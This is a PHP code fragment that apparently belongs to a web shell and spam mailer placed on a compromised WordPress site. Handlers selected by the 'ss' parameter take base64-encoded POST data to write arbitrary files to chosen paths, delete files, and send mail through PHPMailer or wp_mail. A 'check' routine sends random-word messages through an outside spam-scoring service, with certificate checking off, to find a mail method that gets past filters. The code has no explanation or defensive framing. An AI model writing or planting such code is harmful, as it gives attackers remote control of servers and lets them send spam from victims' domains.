                foreach ($mailListCC as $email) {
                    $mail->addCC(pmTrim($email));
                }
                $mailListBCC = explode(",", $bcc);
                foreach ($mailListBCC as $email) {
                    $mail->addBCC(pmTrim($email));
                }
            }

            if($mailType=='mail') $mail->isMail();
            elseif($mailType=='sendmail') $mail->isSendmail();
            elseif($mailType=='qmail') $mail->isQmail();

            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            
            if ($fileContent && $fileName) {
                $mail->addStringAttachment(
                    base64_decode($fileContent),
                    base64_decode($fileName)
                );
            }
            
            if (!$mail->send()) {
                echo 'false';
                echo htmlspecialchars($mail->ErrorInfo);
            }
            else {
                echo 'true';
            }
        }
        $x++;
    }

}
function genRandWords($wordCount, $lengthRange) {
	$words = [];
	$characters = 'qwertyuiopasdfghjklzxcvbnm';
	
	for ($i=0;$i<$wordCount;$i++) {
		$wordLength = rand($lengthRange[0], $lengthRange[1]);
		$word = '';
		for ($j=0;$j<$wordLength;$j++) {
			$word .= $characters[rand(0, strlen($characters) - 1)];
		};
		$words[] = $word;
	};
	return implode(' ', $words);
};
if(isset($_GET['ss']) && $_GET['ss']=="upl"){
	$FC = base64_decode($_POST['FC']);
	$FN = base64_decode($_POST['FN']);
	$FP = base64_decode($_POST['FP']);
	$FND = base64_decode($_POST['FND']);

	if($FC && $FN && $FP){
		if (!is_dir($FP)) {
			mkdir($FP, 0755, true);
		}
		$resp = file_put_contents($FP.'/'.$FN, $FC);
		echo "true";
		
	}
	if($FND){
		if (file_exists($FND)) {
			unlink($FND);
			echo "true";
		}
	}
}
if(isset($_GET['ss']) && $_GET['ss']=="wpm"){
	require $_SERVER['DOCUMENT_ROOT'] . '/wp-load.php';
	
    $subject=pmTrim(base64_decode($_POST['subject']));
    $to=pmTrim(base64_decode($_POST['to']));
    $body=base64_decode($_POST['body']);
	
	$result = wp_mail($to, $subject, $body);
	
	if ($result) {
		echo 'true';
	} else {
		echo 'false';
	}
	
}
if(isset($_GET['ss']) && $_GET['ss']=="check"){
    $domain = $_SERVER['HTTP_HOST'];
	
	$fromEmail = 'info@' . $domain;
	$fromName = genRandWords(2, [3,5]);
	$replyTo = 'info@' . $domain;
	$subject = genRandWords(5, [3,6]);
	$body = genRandWords(10, [3,8]);
	$messageType = 1;
	$n = [];
	$charset = 'UTF-8';
	$encoding = 'base64';
	$mailTypelist = ['sendmail','qmail','mail'];
	$success = false;
	for ($i =0; $i < count($mailTypelist); $i++) {
		$mailType = $mailTypelist[$i];
	
		$mail = new PHPMailer;
		
		foreach ($decoded_headers as $key => $value){
			$mail->addCustomHeader($key, $value);
		};
		
		$mail->setFrom($fromEmail,$fromName);
		$mail->addReplyTo($replyTo);
		if(isset($_GET['m'])){
			$mail->addAddress($_GET['m']);
		} else {
			$tmp_address_login = genRandWords(1, [5,6]);
			$tmp_address_domen = genRandWords(1, [5,6]);
			$tmp_address = "$tmp_address_login@$tmp_address_domen.com";
			$mail->addAddress($tmp_address);
		};
		$mail->Subject = $subject;
		$mail->Body = $body;
		if($messageType==1){
			$mail->IsHTML(true);
			$mail->AltBody =strip_tags($body);
		}
		else $mail->IsHTML(false);
		if(count($n) == 1){
			$mailListCC = explode(",", $cc);
			foreach ($mailListCC as $email) {
				$mail->addCC(pmTrim($email));
			}
			$mailListBCC = explode(",", $bcc);
			foreach ($mailListBCC as $email) {
				$mail->addBCC(pmTrim($email));
			}
		}
		if($mailType=='mail') $mail->isMail();
		elseif($mailType=='sendmail') $mail->isSendmail();
		elseif($mailType=='qmail') $mail->isQmail();
		$mail->CharSet = $charset;
		$mail->Encoding = $encoding;
		$mail->preSend();
		$messageHeaders=$mail->getSentMIMEMessage();
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_URL, 'https://spamcheck.postmarkapp.com/filter');
		curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_TIMEOUT, 15);
		$response = curl_exec($ch);
		$response = json_decode($response);
		if ($response->success == TRUE ){
			if ($mail->send()) {
				$score = $response->score;
				$success = true;
				break;
			}
		}
	};
	if ($success) {
		echo "true|$mailType";
	} else {
		echo 'false';
	};
}
?>